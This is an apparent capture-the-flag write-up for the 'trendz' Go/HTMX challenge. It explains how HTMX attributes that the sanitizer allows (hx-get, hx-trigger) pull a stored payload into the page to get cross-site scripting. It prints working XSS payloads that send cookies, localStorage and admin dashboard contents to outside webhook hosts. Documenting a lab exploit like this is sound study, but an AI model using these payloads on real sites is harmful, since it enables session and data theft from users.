The latest trendz is all about Go and HTMX, but what could possibly go wrong? A secret post has been hidden deep within the application. Your mission is to uncover it.
Notice anything off in this application? If you suspect something is wrong, report it to the superadmin. You never know what secrets might be uncovered.
nc trendz-bot.challs.csc.tf 1337
We're given a Go server that looks like this:
package main
import (
"app/handlers/custom"
"app/handlers/dashboard"
"app/handlers/db"
"app/handlers/jwt"
"app/handlers/service"
"github.com/gin-gonic/gin"
)
func main() {
s := gin.Default()
s.LoadHTMLGlob("templates/*")
db.InitDBconn()
jwt.InitJWT()
s.GET("/", func(c *gin.Context) {
c.Redirect(302, "/login")
})
s.GET("/ping", func(c *gin.Context) {
c.JSON(200, gin.H{
"message": "pong",
})
})
r := s.Group("/")
r.POST("/register", service.CreateUser)
r.GET("/register", func(c *gin.Context) {
c.HTML(200, "register.tmpl", gin.H{})
})
r.POST("/login", service.LoginUser)
r.GET("/login", func(c *gin.Context) {
c.HTML(200, "login.tmpl", gin.H{})
})
r.GET("/getAccessToken", service.GenerateAccessToken)
authorizedEndpoints := r.Group("/user")
authorizedEndpoints.Use(service.AuthorizeAccessToken())
authorizedEndpoints.GET("/dashboard", dashboard.UserDashboard)
authorizedEndpoints.POST("/posts/create", service.CreatePost)
authorizedEndpoints.GET("/posts/:postid", service.ShowPost)
authorizedEndpoints.GET("/flag", service.DisplayFlag)
adminEndpoints := r.Group("/admin")
adminEndpoints.Use(service.AuthorizeAccessToken())
adminEndpoints.Use(service.ValidateAdmin())
adminEndpoints.GET("/dashboard", dashboard.AdminDashboard)
SAEndpoints := r.Group("/superadmin")
SAEndpoints.Use(service.AuthorizeAccessToken())
SAEndpoints.Use(service.ValidateAdmin())
SAEndpoints.Use(service.AuthorizeRefreshToken())
SAEndpoints.Use(service.ValidateSuperAdmin())
SAEndpoints.GET("/viewpost/:postid", dashboard.ViewPosts)
SAEndpoints.GET("/dashboard", dashboard.SuperAdminDashboard)
s.NoRoute(custom.Custom404Handler)
s.Run(":8000")
}
This is a 3 part challenge: we can make and share posts, and for part 3 we can report "suspicious posts" to the super admin via nc
.
Looking in the posts service, we can find a suspicious sanitize function looking like so:
func SanitizeData(data string) string {
p := bluemonday.NewPolicy()
p.AllowURLSchemesMatching(regexp.MustCompile("^https?"))
p.AllowAttrs("alt", "cite", "datetime", "dir", "high", "hx-delete", "hx-get", "hx-patch", "hx-post", "hx-put", "hx-swap", "hx-target", "hx-trigger", "hx-vals", "id", "low", "map", "max", "min", "name", "optimum", "value").OnElements("a", "abbr", "acronym", "b", "br", "cite", "code", "dfn", "div", "em", "figcaption", "h1", "h2", "h3", "h4", "h5", "h6", "hgroup", "hr", "i", "mark", "p", "pre", "s", "samp", "small", "span", "strike", "strong", "sub", "sup", "tt", "var", "wbr")
html := p.Sanitize(data)
return html
}
func ShowPost(ctx *gin.Context) {
postID := ctx.Param("postid")
DB := db.GetDBconn()
var title string
var data string
err := DB.QueryRow("SELECT title, data FROM posts WHERE postid = $1", postID).Scan(&title, &data)
if err != nil {
fmt.Println(err)
}
html := SanitizeData(data)
ctx.PureJSON(200, gin.H{
"title": title, "data": html})
}
It looks like our post data is directly rendered to the DOM via innerHTML
, but we're only allowed to use certain allowed tags and attributes defined by the sanitation policy.
Suspiciously, among the allowed attributes are HTMX-specific attributes like hx-get
. Reading the documentation,
The
hx-get
attribute will cause an element to issue aGET
to the specified URL and swap the HTML into the DOM using a swap strategy:
Then, we can circumvent the sanitizer by using hx-get
to fetch our malicious payload via network request and swap it in to the DOM, giving us XSS.
By default, this swapping only triggers when the element is clicked, but we can use the hx-trigger
property to swap in our payload on mount. Worse, however, is that htmx.config.selfRequestsOnly
defaults to true
, meaning that we can only send HTMX GET requests to the same domain.
We can host semi-arbitrary data on the same domain via posts, but we unfortunately can't simply put our payload in the post data due to the sanitizer. Instead, we can make a post with arbitrary data whose title is our malicious payload, e.g.
<img src=x onerror='fetch(`https://webhook.site/e9569dad-ec09-4b1f-8125-3e35e1edd678?a=` + document.cookie + JSON.stringify(localStorage))'>
(making sure not to use double quotes lest the payload get JSON-escaped).
Then, our malicious post data would look something like
<div hx-get="/user/posts/5b3f1b37-3c01-4051-9a7f-1bbc020668e6" hx-trigger="load" hx-swap="innerHTML"></div>
swapping in the first posts's title and data into its innerHTML
for XSS.
Looking at the superadmin dashboard,
package dashboard
import (
"fmt"
"os"
"github.com/gin-gonic/gin"
)
func SuperAdminDashboard(ctx *gin.Context) {
fmt.Println("SuperAdmin dashboard accessed")
ctx.HTML(200, "superAdminDash.tmpl", gin.H{
"flag": os.Getenv("SUPERADMIN_FLAG"),
})
}
func ViewPosts(ctx *gin.Context) {
ctx.HTML(200, "viewPost.tmpl", gin.H{
"PostID": ctx.Param("postid"),
"title": "Click",
"data": "{{data|safe}}",
})
}
it looks like sending the superadmin to /superadmin/viewpost/{our malicious post id}
causes our payload to be rendered into the DOM for XSS, from where we can fetch /superadmin/dashboard
to get the part 3 flag. Here's a payload that does just that:
<img src=x onerror='fetch(`/superadmin/dashboard`).then(x=>x.text()).then(x=>fetch(`https://enhs7ezpdsxpw.x.pipedream.net/` + btoa(x)))'>
Looking in AdminDash.go
,
package dashboard
import (
"app/handlers/service"
"os"
"github.com/gin-gonic/gin"
)
func AdminDashboard(ctx *gin.Context) {
posts := service.GetAllPosts()
ctx.HTML(200, "adminDash.tmpl", gin.H{
"flag": os.Getenv("ADMIN_FLAG"),
"posts": posts,
})
}
because the superadmin is also an admin, we can use the same XSS to fetch /admin/dashboard
and get the part 1 flag:
<img src=x onerror='fetch(`/admin/dashboard`).then(x=>x.text()).then(x=>fetch(`https://enhs7ezpdsxpw.x.pipedream.net/` + btoa(x)))'>